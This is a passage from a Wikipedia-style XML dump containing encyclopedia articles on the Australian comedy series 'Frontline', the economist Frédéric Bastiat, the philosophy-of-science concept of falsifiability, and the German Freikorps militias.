''Frontline'' also broke new ground for Australian situation comedy, by adopting some innovative production strategies. Its rapid production schedule was inspired by ''[[Drop The Dead Donkey]]'', where each episode was written and taped in a single week and scripts were closely based on the real news stories of the preceding seven days.

The ''Frontline'' scripts were likewise written and the series filmed with a short period, often within a single week. It was a fully collaborative effort, with Cilauro, Kennedy, Gleisner and Sitch all sharing writing and directing duties, and the cast all contributing ideas during all stages of production. While the show appeared in several instances to be commenting on recent events, these are all merely co-incidences, as episodes were delayed by several months; however, the target of the show's satire, Australian current affairs, regularly recycles story formats, and in some cases the particular story format addressed in an episode had appeared as a current affairs story within the last week, sometimes even on the same day as the episode went to air.

To create a heightened illusion of grainy documentary realism, footage was taped on hand-held [[Hi-8]] [[camcorder|video camera]]s (usually operated by Gleisner and Cilauro) then transferred onto film and finally transferred back to videotape{{ref|book}}  (see: [[Kinescope]]).

The series was extremely popular throughout its run, winning a [[Logie]] award for Most Outstanding Achievement in Comedy, and a ''[[Sydney Morning Herald]]'' industry poll rated it #2 in the 25 all-time greatest Australian TV shows.

Six episodes from series one are now a core text on the English Advanced syllabus in [[New South Wales]] for Module C: Representation and Text: Elective 1: Telling the Truth. The episodes are ''Playing The Ego Card, Add Sex and Stir, The Siege, Smaller Fish To Fry, We Ain't Got Dames'' and ''This Night of Nights''.

In 1997, Channel Seven bought the rights to the series[http://groups.google.com.au/group/aus.tv/browse_thread/thread/c0f9e69d4e0ea3cd/], however they only aired a handful of episodes. [[The Comedy Channel]] has shown the series as late as [[2005]].

In America, Frontline was shown as either ''Behind the Frontline'' on cable or as ''Breaking News'' on PBS (which already has a serious show entitled ''Frontline'').

==Reference==
# {{note|book}} ''Frontline: the story behind the story ... behind the stories'' (1995). [[Melbourne]]: Penguin. ISBN 0-670-86768-3

== External links ==
*[http://www.workingdog.com/frontline/ Frontline website] (Extremely Out of date circa 1997)
* [http://www.abc.net.au/wa/stories/s1104477.htm Interview with Rob Sitch on the Tenth Anniversary of Frontline]


[[Category:Australian television comedy series]]
[[Category:Criticism of journalism]]
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    <title>Frédéric Bastiat</title>
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      <text xml:space="preserve">[[Image:Bastiat.jpg|right|frame|Frédéric Bastiat]]

'''Claude Frédéric Bastiat''' ([[June 30]], [[1801]]&amp;ndash;[[December 24]], [[1850]]) was a French [[classical liberalism|classical liberal]] [[author]] and [[political economy|political economist]].
__NOTOC__
==Biography==
Bastiat was born in [[Bayonne]], [[Aquitaine]], [[France]]. His public career as an economist began only in [[1844]], and was cut short by his untimely death in [[1850]]. Bastiat had caught tuberculosis, probably during his tours throughout France to promote libertarian ideas, and that illness eventually prevented him from making further speeches (particularly at the legislative assembly to which he was elected in [[1848]] and [[1849]]) and took his life. Frédéric Bastiat died in [[Rome, Italy]] on [[December 24]], [[1850]].  Bastiat declared on his death bed that his friend [[Gustave de Molinari]] (publisher of Bastiat's masterpiece ''The Law'' in [[1849]]) was his spiritual heir. 


== Views ==
Bastiat can be said to be of the &quot;Harmonic&quot; school of libertarians, who consider utilitarian and natural law arguments as two complementary aspects of a same world. Bastiat did not take part in the [[anarchism|anarchist]]-[[minarchism|minarchist]] debate (he arguably died too early for that); he seems to have considered the State as something inevitable as far as immediate practical matter&amp;mdash;something that ought to be taken into account as long as it existed. He also explicitly deplored violent revolution as a way to get rid of governments (a view no doubt influenced by the horrors of the [[Jacobins]] and the trials of the [[French Revolution]]). {{liberalism}} However, like all classical liberals, Bastiat maintained a deep distrust of all government, in any form, and worked all his life to demonstrate that government control of private individuals and regulation of private industry is inefficient, economically damaging, and morally wrong.

Because of his stress on the role of consumer demand in initiating economic progress, Bastiat is seen as a forerunner of the [[Austrian School]].

One of Bastiat's most important contributions to the field of economics was his admonition to the effect that good economic decisions can only be made by taking into account the &quot;full picture.&quot;  That is, economic truths should be arrived at by observing not only the immediate consequences (''i.e.,'' benefits or liabilities) of an economic decision, but also by examining the long-term consequences.  Additionally, one must examine the decision's effect not only on a single group of people (say candlemakers) or a single industry (say candles), but on all people and all industries in the society as a whole.  As Bastiat famously put it: an economist must take into account &quot;both what is seen and what is not seen.&quot;  Bastiat's &quot;rule&quot; was later expounded by [[Henry Hazlitt]] in his work ''[[Economics in One Lesson]],'' in which Hazlitt borrowed Bastiat's trenchant &quot;[[parable of the broken window|Broken Window Fallacy]]&quot; and went on to demonstrate how it applies to a wide variety of economic falsehoods. {{Libertarianism}}

== Works ==
Bastiat was the author of many works on economics and political economy, generally characterized by their clear organization, forceful argument and acerbic wit.  Among his most well known works is ''[[Economic Fallacies]],'' which contains many trenchant attacks on [[statism|statist]] (''i.e.'' &quot;progressive&quot;) policies.  Bastiat wrote it while living in [[England]] in an attempt to advise the shapers of the French Republic on pitfalls to avoid.  

Contained within ''Economic Fallacies'' is the famous [[satire|satirical]] episode best known as the &quot;[[Candlemakers' petition]]&quot; [http://silentpc.org/university/Candlemaker.pdf pdf] which presents itself as a demand from the candlemakers' guild to the French government, asking the government to block out [[Sun|the Sun]] to prevent its unfair competition with their products.  Much like [[Jonathan Swift]]'s ''[[A Modest Proposal]]'' or [[Benjamin Franklin]]'s anti-slavery works, Bastiat's argument cleverly highlights the basic flaws in state-support of industry by demonstrating its absurdity when carried to a logical extreme.  

Bastiat's most famous work, however, is undoubtedly [http://www.ozarkia.net/bill/anarchism/library/thelaw.html The Law], originally published as a pamphlet in [[1850]].  It deals with the issues underlying the development of a just and free system of laws, and how such laws should be applied in a free society.

Sadly, Bastiat and his works are no longer well-known in the anglophone world, and are becoming difficult to find in English translation.

== Selected quotations ==
* &quot;If the natural tendencies of mankind are so bad that it is not safe to permit people to be free, how is it that the tendencies of these organizers are always good? Do not the legislators and their appointed agents also belong to the human race? Or do they believe that they themselves are made of a finer clay than the rest of mankind?&quot;&amp;mdash;from ''The Law''

* &quot;When under the pretext of fraternity, the legal code imposes mutual sacrifices on the citizens, human nature is not thereby abrogated. Everyone will then direct his efforts toward contributing little to, and taking much from, the common fund of sacrifices. Now, is it the most unfortunate who gains from this struggle? Certainly not, but rather the most influential and calculating.&quot;&amp;mdash;from ''The Law''

* &quot;Life, faculties, production—in other words, individuality, liberty, property—this is man. And in spite of the cunning of artful political leaders, these three gifts from God precede all human legislation, and are superior to it. Life, liberty, and property do not exist because men have made laws. On the contrary, it was the fact that life, liberty, and property existed beforehand that caused men to make laws in the first place.&quot;&amp;mdash;from ''The Law''

* &quot;But how is this legal plunder to be identified? Quite simply. See if the law takes from some persons what belongs to them, and gives it to other persons to whom it does not belong. See if the law benefits one citizen at the expense of another by doing what the citizen himself cannot do without committing a crime.&quot;&amp;mdash;from ''The Law''

* &quot;Government is the great fiction through which everybody endeavors to live at the expense of everybody else.&quot;&amp;mdash;from ''Government''

* &quot;Socialism, like the ancient ideas from which it springs, confuses the distinction between government and society. As a result of this, every time we object to a thing being done by government, the socialists conclude that we object to its being done at all.  We disapprove of state education. Then the socialists say that we are opposed to any education. We object to a state religion. Then the socialists say that we want no religion at all. We object to a state-enforced equality. Then they say that we are against equality. And so on, and so on. It is as if the socialists were to accuse us of not wanting persons to eat because we do not want the state to raise grain.&quot;&amp;mdash;from ''The Law''

* &quot;It seems to me that this is theoretically right, for whatever the question under discussion—whether religious, philosophical, political, or economic; whether it concerns prosperity, morality, equality, right, justice, progress, responsibility, cooperation, property, labor, trade, capital, wages, taxes, population, finance, or government&amp;mdash;at whatever point on the scientific horizon I begin my researches, I invariably reach this one conclusion: The solution to the problems of human relationships is to be found in liberty.&quot;&amp;mdash;from ''The Law''

== See also ==
* [[Frederic Bastiat's debate with Proudhon|Frédéric Bastiat's debate with Proudhon]]
* His [[parable of the broken window]]
* [[Liberalism]]
* [[Contributions to liberal theory]]

== External links ==
{{wikiquote}}
{{Wikisourcelang|fr|Frédéric Bastiat|Frédéric Bastiat}}
{{Commonscat|Frédéric Bastiat}}
*{{gutenberg author|id=Bastiat|name=Frédéric Bastiat}}
* [http://www.mondopolitico.com/library/thelaw/mpintro.htm Mondo Politico Library's presentation of Frederic Bastiat's book, ''The Law'' (Dean Russell translation; full text; formatted for easy on-screen reading)]
* [http://www.freeaudio.org FreeAudio.org's] free audio book of [http://www.freeaudio.org/fbastiat/thelaw.html ''The Law''].
* The [http://www.econlib.org/ Library of Economics and Liberty] publishes most English translations of his works.
* [http://Bastiat.org/ Bastiat.org] publishes or indexes all about Bastiat.
* [http://Bastiat.net/ The Cercle Frederic Bastiat] also publishes about Bastiat, and promotes the same tradition of libertarianism.
* [http://www.udesa.edu.ar/profesores/deptoeconomia/cruces/fun/bastiat_en.html The Candlemakers' Petition - English translation]
* [http://www.freeaudio.org/fbastiat/candlemakerspetition.html The Candlemakers' Petition - Audio Book] at [http://www.freeaudio.org/ FreeAudio.org]
* [http://www.liberal-international.org/library/bastiat.html Biography with Literature index]
* [http://www.newadvent.org/cathen/02345b.htm Catholic Encyclopedia article]
*[http://www.mises.org/books/thelaw.pdf The Law] - pdf format

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  <page>
    <title>Falsifiability</title>
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      <text xml:space="preserve">:''For the falsification of documents, see [[Forgery]].''
'''Falsifiability''' is an important concept in the [[philosophy of science]] that amounts to the principle that a [[proposition]] or [[theory]] cannot be considered scientific if it does not admit the possibility of being shown false.

''Falsifiable'' does not mean ''false''. For a proposition to be falsifiable, it must be at least in principle possible to make an [[observation]] that would show the proposition to be false, even if that observation had not been made. For example, the proposition &quot;All crows are black&quot; would be falsified by observing one white crow.  A falsifiable theory must make a statement concerning what is, or will be, forbidden.

[[Falsificationism|Falsificationists]] claim that any theory that is not falsifiable is unscientific. [[Psychoanalytic]] theory, for example, is held up by the proponents of [[Karl Popper|Popper's]] philosophy as an example of an [[ideology]] rather than a [[science]]. A patient regarded by his psychoanalyst as &quot;[[in denial]]&quot; about his [[sexual orientation]] may be viewed as confirming he is homosexual simply by denying that he is; and if he has sex with women, he may be accused of trying to buttress his denials. In other words, there is no way the patient could convincingly demonstrate his heterosexuality to the analyst. This is an example of what Popper called a &quot;[[closed circle]]&quot;. The proposition that the patient is homosexual is not falsifiable. This has found its way into several [[Dystopia|dystopian]] novels.

== Naïve falsification ==
Falsifiability was first developed by [[Karl Popper]] in the [[1930s]]. Popper noticed that two types of statements are of particular value to [[scientists]]. The first are statements of observations, such as 'this is a white swan'. [[logic|Logicians]] call these statements [[existential quantification|singular existential statements]], since they assert the existence of some particular thing. They can be parsed in the form: ''There is an x which is a swan and x is white''.

The second type of statement of interest to scientists categorizes all instances of something, for example 'All swans are white'. Logicians call these statements [[universal quantification|universal]]. They are usually parsed in the form: ''For all x, if x is a swan then x is white''.

[[Scientific law]]s are commonly supposed to be of the second type. Perhaps the most difficult question in the [[scientific method|methodology of science]] is: how does one move from observations to laws? How can one validly infer a universal statement from any number of existential statements?

[[Induction (philosophy)|Inductivist]] methodology supposed that one can somehow move from a series of singular existential statements to a universal statement. That is, that one can move from 'this is a white swan', 'that is a white swan', and so on, to a universal statement such as 'all swans are white'.  This method is clearly ''logically'' invalid, since it is always possible that there may be a non-white swan that has somehow avoided observation. Yet some philosophers of science claim that science is based on such an inductive method. 

Popper held that science could not be grounded on such an invalid inference. He proposed falsification as a solution to the [[problem of induction]]. Popper noticed that although a singular existential statement such as 'there is a white swan' cannot be used to affirm a universal statement, it can be used to show that one is false: the singular existential observation of a black swan serves to show that the universal statement 'all swans are white' is false - in logic this is called [[modus tollens]]. 'There is a black swan' implies 'there is a non-white swan' which in turn implies 'there is something which is a swan and which is not white', hence 'all swans are white' is false, because that is the same as 'there is ''nothing'' which is a swan and which is not white'.
[[Image:Mute.swan.slimb.750pix.jpg|thumb|right|A white [[mute swan]], common to [[Eurasia]] and [[North America]].]]

Although the logic of naïve falsification is valid, it is rather limited. Popper drew attention to these limitations in ''The Logic of Scientific Discovery'', in response to anticipated criticism from [[Pierre Duhem|Duhem]] and [[Rudolf Carnap|Carnap]]. [[W. V. Quine]] is also well-known for his observation in his influential essay, &quot;[[Two Dogmas of Empiricism]]&quot; (which is reprinted in ''From a Logical Point of View''), that nearly any statement can be made to fit with the data, so long as one makes the requisite &quot;compensatory adjustments&quot;. In order to logically falsify a [[universal]], one must find a true falsifying singular statement. But Popper pointed out that it is always possible to ''change'' the universal statement or the existential statement so that falsification does not occur. On hearing that a [[black swan]] has been observed in Australia, one might introduce the [[ad hoc]] hypothesis, 'all swans are white except those found in Australia'; or one might adopt another, more cynical view about some observers, 'Australian ornithologists are incompetent'. As Popper put it, a ''decision'' is required on the part of the scientist to accept or reject the statements that go to make up a theory or that might falsify it. At some point, the weight of the ad hoc hypotheses and disregarded falsifying observations will become so great that it becomes unreasonable to support the base theory any longer, and a decision will be made to reject it.

== Falsificationism ==
In place of naïve falsification, Popper envisioned science as evolving by the successive rejection of falsified theories, rather than falsified statements.  Falsified theories are to be replaced by theories which can account for the phenomena which falsified the prior theory, that is, with greater explanatory power. Thus, [[Aristotle|Aristotelian mechanics]] explained observations of objects in everyday situations, but was falsified by [[Galileo Galilei|Galileo]]&amp;#8217;s experiments, and was itself replaced by Newtonian mechanics which accounted for the phenomena noted by Galileo (and others).  [[Newtonian mechanics]]' reach included the observed motion of the planets and the mechanics of gases. Or at least most of them; the size of the precession of the orbit of [[Mercury (planet)|Mercury]] wasn't predicted by Newtonian mechanics, but was by [[Albert Einstein|Einstein]]'s [[general relativity]]. The Youngian wave theory of light (i.e., waves carried by the [[luminiferous ether]]) replaced Newton's (and many of the Classical Greeks') particles of light but in its turn was falsified by the [[Michelson-Morley experiment]], whose results were eventually understood as incompatible with an ether and was superseded by [[James Clerk Maxwell|Maxwell]]'s electrodynamics and Einstein's [[special relativity]], which did account for the new phenomena. At each stage, experimental observation made a theory untenable (i.e., falsified it) and a new theory was found which had greater 'explanatory power' (i.e., could account for the previously unexplained phenomena), and as a result ''provided greater opportunity for its own falsification''.

Naïve falsificationism is an unsuccessful attempt to prescribe a rationally unavoidable method for science. Falsificationism proper, on the other hand, is a prescription of a way in which scientists ought to behave as a matter of choice.

== Popper's swan argument ==
[[Image:Black.swans.slimb.750pix.jpg|thumb|right|Two [[black swan]]s, native to [[Australia]].]]

One notices a white swan, from this one can conclude:

:At least one swan is white.

From this, one may wish to infer that:

:All swans are white.

However, to prove this, one must find all the swans in the world and verify that they are white. 

As it turns out, not all swans are white.  By finding a [[black swan]], one has falsified the statement ''all swans are white''; it is not true.

== Formal logical arguments ==
The falsification of theories occurs through [[modus tollens]], via some observation. Suppose some theory ''T'' implies an observation ''O'':

:&lt;math&gt;T \rightarrow O&lt;/math&gt;

An observation conflicting with O, however, is made:

:&lt;math&gt;\neg O&lt;/math&gt;

So by Modus Tollens, 

:&lt;math&gt;\neg T&lt;/math&gt;

==The criterion of demarcation==
Popper proposed falsification as a way of determining if a theory is scientific or not. If a theory is falsifiable, then it is scientific; if it is not falsifiable, then it is not science. Popper uses this [[Demarcation problem|criterion of demarcation]] to draw a sharp line between scientific and unscientific theories. Some have taken this principle to an extreme to cast doubt on the [[scientific]] validity of many disciplines (such as [[macroevolution]] and [[Cosmology]]).  Falsifiability was one of the criteria used by Judge [[William Overton (judge)|William Overton]] to determine that '[[creation science]]' was not scientific and should not be taught in [[Arkansas]] [[public school]]s.

In the [[philosophy of science]], verificationism (also known as [[the verifiability theory of meaning]]) held that a statement must be in principle empirically verifiable in order to be both meaningful and scientific.  This was an essential feature of the [[logical empiricism]] of the so-called [[Vienna Circle]] that featured such philosophers as [[Moritz Schlick]], [[Rudolf Carnap]], [[Otto Neurath]], and [[Hans Reichenbach]]. After Popper, verifiability came to be replaced by ''falsifiability'' as the criterion of demarcation. In other words, in order to be scientific, a statement had to be, in principle, falsifiable. Popper noticed that the philosophers of the Vienna Circle had mixed two different problems, and had accordingly given a single solution to both of them, namely verificationism. In opposition to this view, Popper emphasized that a theory might well be meaningful without being scientific, and that, accordingly, a criterion of meaningfulness may not necessarily coincide with a criterion of demarcation. His own falsificationism, thus, is not only an alternative to verificationism, it is also an acknowledgment of the conceptual distinction that previous theories had ignored.

Falsifiability is a property of statements and theories, and is itself neutral. As a demarcation criterion, it seeks to take this property and make it a base for affirming the superiority of falsifiable theories over non-falsifiable ones as a part of science, in effect setting up a political position that might be called ''falsificationism''.  Much that would be considered meaningful and useful, however, is not falsifiable. Certainly non-falsifiable statements have a role in scientific theories themselves. The Popperian criterion provides a definition of science that excludes much that is of value; it does not provide a way to distinguish meaningful statements from meaningless ones.

It is nevertheless very useful to know if a statement or theory is falsifiable, if for no other reason than that it provides us with an understanding of the ways in which one might assess the theory. One might at the least be saved from attempting to falsify a non-falsifiable theory, or come to see an unfalsifiable theory as unsupportable.

==Criticism==
[[Thomas Kuhn]]&amp;#8217;s influential book ''[[The Structure of Scientific Revolutions]]'' argued that scientists work within a conceptual [[paradigm]] that determines the way in which they view the world. Scientists will go to great length to defend their paradigm against falsification, by the addition of ad hoc hypotheses to existing theories. Changing one's 'paradigm' is not easy, and only through some pain and angst does science (at the level of the individual scientist) change paradigms.  

Some falsificationists saw Kuhn&amp;#8217;s work as a vindication, since it showed that science progressed by rejecting inadequate theories. More commonly, it has been seen as showing that sociological factors, rather than adherence to a strict, logically obligatory method, play the determining role in deciding which scientific theory is accepted. This was seen as a profound threat to those who seek to show that science has a special authority in virtue of the methods that it employs.

[[Imre Lakatos]] attempted to explain Kuhn&amp;#8217;s work in falsificationist terms by arguing that science progresses by the falsification of ''research programs'' rather than the more specific [[universal quantification|universal statements]] of naïve falsification. In Lakatos' approach, a scientist works within a research program that corresponds roughly with Kuhn's 'paradigm'. Whereas Popper rejected the use of ad hoc hypotheses as unscientific, Lakatos accepted their place in the development of new theories.

Lakatos also brought the notion of falsifiability to bear on the discipline of mathematics in [[Proofs and Refutations]]. The long-standing debate over [[Mathematics#Is_mathematics_a_science.3F|whether mathematics is a science]] depends in part on the question of whether proofs are fundamentally different from experiments. Lakatos argued that mathematical proofs and definitions evolve through criticism and counterexample in a manner very similar to how a scientific theory evolves in response to experiments.

[[Paul Feyerabend]] examined the history of science with a more critical eye, and ultimately rejected any prescriptive methodology at all.  He went beyond Lakatos&amp;#8217; argument for ad hoc hypothesis, to say that science would not have progressed without making use of any and all available methods to support new theories. He rejected any reliance on a scientific method, along with any special authority for science that might derive from such a method. Rather, he claimed, ironically, that if one is keen to have a universally valid methodological rule, ''anything goes'' would be the only candidate. For Feyerabend, any special status that science might have derives from the social and physical value of the results of science rather than its method.

Following from Feyerabend, the whole &quot;Popper project&quot; to define science around one particular methodology&amp;mdash;which accepts nothing except itself&amp;mdash;is a perverse example of what he supposedly decried: a closed circle argument. The Popperian criterion itself is not falsifiable.

Moreover, it makes Popper effectively a philosophical [[nominalist]], which has nothing to do with empirical sciences at all. 

Although Popper's claim of the singular characteristic of falsifiability does provide a way to replace invalid inductive thinking ([[empiricism]]) with deductive, falsifiable reasoning, it appeared to Feyerabend  that doing so is neither necessary for, nor conducive to, scientific progress.

=== Case Studies ===
Multiple universes from the [[Anthropic Principle]] and the existence of intelligent life (see [[SETI]]) beyond Earth are potentially non-falsifiable ideas. They are &quot;true-ifiable&quot; because they are potentially detectable. Lack of detection does not mean other universes or non-human intelligent life does not exist; it only means they have not been detected. Yet, both of these ideas are generally considered scientific ideas. Some suggest that an idea has to be only one of falsifiable or &quot;true-ifiable&quot;, but not both to be considered a scientific idea.

=== From scientists ===
Many actual physicists, including Nobel Prize winner [[Steven Weinberg]] and [[Alan Sokal]] (''[[Fashionable Nonsense]]''), have criticized falsifiability on the grounds that it does not accurately describe the way science really works. Take [[astrology]], an example most would agree is not science. Astrology constantly makes falsifiable predictions -- a new set is printed every day in the newspapers -- yet few would argue this makes it scientific.

One might respond that astrological claims are rather vague and can be excused or reinterpreted. But the same is true of actual science: a physical theory predicts that performing a certain operation will result in a number in a certain range. Nine times out of ten it does; the tenth the physicists blame on a problem with the machine -- perhaps someone slammed the door too hard or something else happened that shook the machine. Falsifiability does not help us decide between these two cases.

In reality, of course, theories are used because of their successes, not because of their failures. As Sokal writes, &quot;When a theory successfully withstands an attempt at falsification, a scientist will, quite naturally, consider the theory to be partially confirmed and will accord it a greater likelihood or a higher subjective probability. ... But Popper will have none of this: throughout his life he was a stubborn opponent of any idea of 'confirmation' of a theory, or even of its 'probability'. ... [but] the history of science teaches us that scientific theories come to be accepted above all because of their successes.&quot;

== Some examples ==
Claims about verifiability and falsifiability have been used to criticize various controversial views. Examining these examples shows the usefulness of falsifiability by showing us where to look when attempting to criticise a theory. 

Non-falsifiable theories can usually be reduced to a simple uncircumscribed existential statement, such as ''there exists a green swan''. It is entirely possible to ''verify'' that the theory is true, simply by producing the green swan. But since this statement does not specify when or where the green swan exists, it is simply not possible to show that the swan does not exist, and so it is impossible to ''falsify'' the statement.
	
That such theories are unfalsifiable says nothing about either their validity or truth. But it does assist us in determining to what extent such statements might be evaluated. If evidence cannot be presented to support a case, and yet the case cannot be shown to be indeed false, not much credence can be given to such a statement.

=== Mathematics ===
Mathematical and logical statements are typically regarded as unfalsifiable, since they are [[tautology|tautologies]], not existential or universal statements. For example, &quot;all bachelors are male&quot; and &quot;all green things are green&quot; are [[necessary truth|necessarily true]] (or given) without any knowledge of the [[world]]; given the meaning of the terms used, they are tautologies.  

Proving mathematical [[theorem|theorems]] involves reducing them to tautologies, which can be mechanically proven as true given the axioms of the system or reducing the negative to a contradiction.  Mathematical theorems are unfalsifiable, since this process, coupled with the notion of [[consistency]], eliminates the possibility of [[counterexample]]s&amp;mdash;a process that the [[philosophy of mathematics]] studies in depth as a separate matter.

How a mathematical formula might apply to the physical world, however (as a ''model''), is a physical question, and thus testable, within certain limits. For example, the theory that &quot;all objects follow a [[parabola|parabolic]] path when thrown into the air&quot; is falsifiable (and, in fact, false; think of a feather&amp;mdash;a better statement would be: &quot;all objects follow a parabolic path when thrown in a [[vacuum]] and acted upon by gravity&quot;, which is itself falsified when considering paths that are a measureable proportion of the planet's radius).

===Ethics===
Many philosophers have held that claims about [[ethics|morality]] (such as &quot;murder is evil&quot; and &quot;John was wrong to steal that money&quot;) are not part of scientific inquiry; their function in language is not even to state facts, but simply to express certain moral sentiments. Hence they are not falsifiable.

===Theism ===
On the view of some, [[theism]] is not falsifiable, since the existence of [[god|God]] is typically asserted without sufficient conditions to allow a falsifying observation. If God is a transcendental being that can escape the realm of the observable, claims about God's non-existence can not be supported by a lack of observation.  It is quite consistent for a theist to agree that the existence of God is unfalsifiable, and that the proposition is not scientific, but to still claim that God exists.  This is because the theist claims to have presentable evidence that ''verifies'' the existence of God.  This is, of course, a matter of interest for anyone who places stock in witnesses who claim to have seen God or ideas like [[natural theology]]--the [[argument from design]] and other [[a posteriori]] [[arguments for the existence of God]].  (See [[non-cognitivism]].)  However, arguments relating to alleged actions and eye-witness accounts, rather than the existence, of [[god|God]] may be falsifiable. See [[nontheism]] for further information.

===Conspiracy theories===
Some so-called &quot;[[Conspiracy theory|conspiracy theories]],&quot; at least as defended by some people, are essentially unfalsifiable because of their logical structure. Conspiracy theories usually take the form of uncircumscribed [[existential quantification|existential statements]], alleging the existence of some action or object without specifying the place or time at which it can be observed. Failure to observe the phenomenon can then always be the result of looking in the wrong place or looking at the wrong time.  Conspiracy theorists can, and often do, defend their position by claiming that lying and other forms of fabrication are, in fact, a common tool of governments and other powerful players and that evidence suggesting that a conspiracy did not occur has been fabricated.

===Economics===
Many viewpoints in [[economics]] are often accused of not being falsifiable, mainly by [[sociologists]] and other [[social scientists]] in general.

The most common argument is made against [[rational expectations]] theories, which work under the assumption that people act to maximize their [[utility]]. However, under this viewpoint, it is impossible to disprove the fundamental theory that people are utility-maximizers. The [[political scientist]] [[Graham T. Allison]], in his book ''[[Essence of Decision]]'', attempted to both quash this theory and substitute other possible models of behavior.

===Historicism===
Theories of [[history]] or [[politics]] which allegedly predict the future course of history have a logical form that renders them neither falsifiable nor verifiable. They claim that for every historically significant event, there exists an historical or economic law that ''determines'' the way in which events proceeded. Failure to identify the law does not mean that it does not exist, yet an event that satisfies the law does not prove the general case. Evaluation of such claims is at best difficult. On this basis, Popper himself argued that neither [[Marxism]] nor [[psychoanalysis]] were science, although both made such claims. Again, this does not mean, that any of these types of theories are necessarily invalid. [[Popper]] considered falsifiability a test of whether theories are scientific, not of whether theories are valid.

===Memetics===
The model of [[cultural evolution]] known as [[memetics]] is as of yet unfalsifiable, as its practitioners have been unable to determine what constitutes a single meme, and more importantly, what determines the survival of a meme. For the theory to be falsifiable, more exact accounts of this are needed, as currently every outcome of cultural evolution can be explained memetically by suitable choice of competing memes. This does not, however, mean that all epidemological theories of social and cultural spread are unscientific, as some of them have (mostly due to smaller scope) more exact terms of transmission and survival.

===Solipsism===
In philosophy, [[solipsism]] is, in essence, non-falsifiable.  Solipsism claims that the [[Universe]] exists entirely in one's own mind.  This can straightforwardly be seen not to be falsifiable, because whatever evidence one might adduce that is contrary to solipsism can be, after all, dismissed as something that is &quot;in one's mind.&quot;  In other words, there is no evidence that one could possibly adduce that would be ''inconsistent'' with the proposition that everything that exists, exists in one's own mind.  This view is somewhat similar to [[Cartesian scepticism]], and indeed, Cartesian skepticism has been rejected as unfalsifiable as well by many philosophers.

===Physical laws===
The laws of [[physics]] are an interesting case.  Occasionally it is suggested that the most fundamental laws of physics, such as &quot;force equals mass times acceleration&quot; (F=ma), are not falsifiable because they are definitions of basic physical concepts (in the example, of &quot;force&quot;).  More usually, they are treated as falsifiable laws, but it is a matter of considerable controversy in the philosophy of science what to regard as evidence for or against the most fundamental laws of physics.  [[Isaac Newton]]'s [[Newton's laws of motion|laws of motion]] in their original form were falsified by experiments in the twentieth century (eg, the anomaly of the motion of Mercury, the behavior of light passing sufficiently close to a star, the behavior of a particle being accelerated in a [[cyclotron]], etc), and replaced by a theory which predicted those phenomena, [[General Relativity]], though Newton's account of motion is still a good enough approximation for most human needs. In the case of less fundamental laws, their falsifiability is much easier to understand.  If, for example, a biologist hypothesizes that, as a matter of scientific law (though practising scientists will rarely actually state it as such), only one certain gland produces a certain hormone, when someone discovers an individual without the gland but with the hormone occurring naturally in their body, the hypothesis is falsified.

The range of available testing apparatus is also sometimes an issue - when [[Galileo Galilei|Galileo]] showed [[Roman Catholic Church]] scholars the [[Galilean moon|moons of Jupiter]], there was only one telescope on hand, and telescopes were a new technology, so there was some debate about whether the  moons were real or possibly an artifact of the telescope or of the type of telescope. Fortunately, this type of problem can usually be resolved in a short time, as it was in Galileo's case, by the spread of technical improvements. Diversity of observing apparatus is quite important to concepts of falsifiability, because presumably any observer with any appropriate apparatus should be able to make the same observation and so prove a thesis false.

==References==
*[[Karl Popper]], ''[[The Logic of Scientific Discovery]]'' (New York: Basic Books, 1959).
*[[Thomas Kuhn]], ''[[The Structure of Scientific Revolutions]]'' (Chicago: University of Chicago Press, 1962).
*[[Paul Feyerabend]], ''[[Against Method]]'' (London: Humanities Press, 1975).

==External links==
*[http://www.galilean-library.org/falsificationism.html Problems with Falsificationism] explained at The Galilean Library

==See also==
*[[Cognitive bias]]
*[[Defeasible reasoning]]
*[[Duhem-Quine thesis]]
*[[Fallibilism]]
*[[Obsolete scientific theories]]
*[[Occam's Razor]]
*[[Philosophy of mathematics]]
*[[Philosophy of science]]
*[[Predictive power]]

[[Category:Epistemology]]

[[ar:قابلية التكذيب]]
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[[ja:反証可能性]]
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[[uk:Принцип спростовуваності]]</text>
    </revision>
  </page>
  <page>
    <title>Freikorps</title>
    <id>11284</id>
    <revision>
      <id>40230381</id>
      <timestamp>2006-02-19T02:52:13Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>category</comment>
      <text xml:space="preserve">The designation of '''Freikorps''' ([[German language|German]] for &quot;Free Corps&quot;, i.e. [[militia]]) was originally applied to voluntary armies. The first freikorps were recruited by [[Frederick II of Prussia]] during the [[Seven Year's War]]. Other known freikorps appeared during the [[Napoleon_I_of_France#Battles_in_Spain.2C_Austria.2C_and_Russia|Napoleonic Wars]] and were led for example by [[Ludwig Adolf Wilhelm von Lützow]]. The freikorps were regarded as unreliable by regular armies, so that they were mainly used as sentries and for minor duties.

However, the meaning of the word has changed over time. After [[1918]], the term was used for the [[far-right]] [[paramilitary]] organizations that sprang up around [[Germany]] as soldiers returned in defeat from [[World War I]]. It was one of the many [[Weimar paramilitary groups]] active during that time.  Many German veterans felt profoundly disconnected from civilian life, and joined a Freikorps in search of stability within a [[military]] structure. Others, angry at their sudden, apparently inexplicable defeat, joined up in an effort to put down [[communism|Communist]] uprisings or exact some form of revenge (see [[Dolchstoßlegende]]). They received considerable support from [[Gustav Noske]], the German Defence Minister who used them to crush the [[Spartakist League]] with enormous violence, including the murders of [[Karl Liebknecht]] and [[Rosa Luxemburg]] on [[January 15]], [[1919]]. They were also used to put down the [[Bavarian Soviet Republic]] in [[1919]].

Several Freikorps fought in the Baltic, Silesia, and Prussia after the
end of World War I, sometimes with significant success even against
regular troops.

They were officially 'disbanded' in 1920, although former members later backed the [[Kapp Putsch]] in March 1920 (which ended in disaster).

Some future members and, indeed, leaders of the [[Nazi Party]] were members of a Freikorps, including [[Ernst Röhm]], future head of the Sturmabteilung or [[Sturmabteilung|SA]], and [[Rudolf Höß]], the future ''Kommandant'' of [[Auschwitz concentration camp|Auschwitz]].

In [[1919]]-[[1920]], [[Hitler]] had just begun his political career, as the leader of a tiny and as-yet-unknown party in [[Munich]]. Most Freikorps members, however, remained outsiders during the [[Third Reich]]. A frequent conversational topic amongst Freikorps veterans was, &quot;Where was Hitler back in [[1919]]/[[1920|20]], when we fought the Communists?&quot;.

[[Hermann Ehrhardt]] and his deputy Commander Eberhard Kautter, leaders of the Viking League refused to help Hitler and [[Erich von Ludendorff|Ludendorff]] in their [[Beer Hall Putsch]] and conspired against them.

==See also==
*[[Martin Bormann]]
*[[Reinhard Heydrich]]
*[[Heinrich Himmler]]
